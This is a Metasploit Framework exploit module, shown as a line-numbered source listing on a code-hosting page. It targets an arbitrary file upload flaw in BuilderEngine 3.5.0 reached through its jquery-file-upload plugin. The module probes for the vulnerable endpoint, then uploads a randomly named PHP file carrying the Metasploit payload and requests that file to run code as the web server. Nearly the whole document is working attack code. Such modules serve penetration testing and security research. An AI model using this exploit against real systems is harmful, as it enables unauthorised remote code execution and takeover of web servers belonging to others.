Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/builderengine_upload_exec.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::FileDropper
10
include Msf::Exploit::Remote::HttpClient
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => "BuilderEngine Arbitrary File Upload Vulnerability and execution",
17
'Description' => %q{
18
This module exploits a vulnerability found in BuilderEngine 3.5.0
19
via elFinder 2.0. The jquery-file-upload plugin can be abused to upload a malicious
20
file, which would result in arbitrary remote code execution under the context of
21
the web server.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'metanubix', # PoC
26
'Marco Rivoli' # Metasploit
27
],
28
'References' => [
29
['EDB', '40390']
30
],
31
'Payload' => {
32
'BadChars' => "\x00"
33
},
34
'DefaultOptions' => {
35
'EXITFUNC' => 'thread'
36
},
37
'Platform' => ['php'],
38
'Arch' => ARCH_PHP,
39
'Targets' => [
40
['BuilderEngine 3.5.0', {}]
41
],
42
'Privileged' => false,
43
'DisclosureDate' => '2016-09-18',
44
'DefaultTarget' => 0,
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
}
50
)
51
)
52
53
register_options(
54
[
55
OptString.new('TARGETURI', [true, 'The base path to BuilderEngine', '/'])
56
]
57
)
58
end
59
60
def check
61
uri = target_uri.path
62
uri << '/' if uri[-1, 1] != '/'
63
64
res = send_request_cgi({
65
'method' => 'GET',
66
'uri' => normalize_uri(uri, 'themes/dashboard/assets/plugins/jquery-file-upload/server/php/')
67
})
68
69
if res && res.code == 200 && !res.body.blank?
70
return Exploit::CheckCode::Appears
71
else
72
return Exploit::CheckCode::Safe
73
end
74
end
75
76
def exploit
77
uri = target_uri.path
78
79
peer = "#{rhost}:#{rport}"
80
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
81
data = Rex::MIME::Message.new
82
payload_encoded = Rex::Text.rand_text_alpha(1)
83
payload_encoded << "<?php "
84
payload_encoded << payload.encoded
85
payload_encoded << " ?>\r\n"
86
data.add_part(payload_encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"")
87
post_data = data.to_s
88
89
res = send_request_cgi({
90
'uri' => normalize_uri(uri, 'themes/dashboard/assets/plugins/jquery-file-upload/server/php/'),
91
'method' => 'POST',
92
'ctype' => "multipart/form-data; boundary=#{data.bound}",
93
'data' => post_data
94
})
95
96
if res
97
if res.code == 200 && res.body =~ /files|#{php_pagename}/
98
print_good("Our payload is at: #{php_pagename}. Calling payload...")
99
register_file_for_cleanup(php_pagename)
100
else
101
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
102
end
103
else
104
fail_with(Failure::Unknown, 'ERROR')
105
end
106
107
print_status("Calling payload...")
108
send_request_cgi(
109
'method' => 'GET',
110
'uri' => normalize_uri(uri, 'files/', php_pagename)
111
)
112
end
113
end
114
115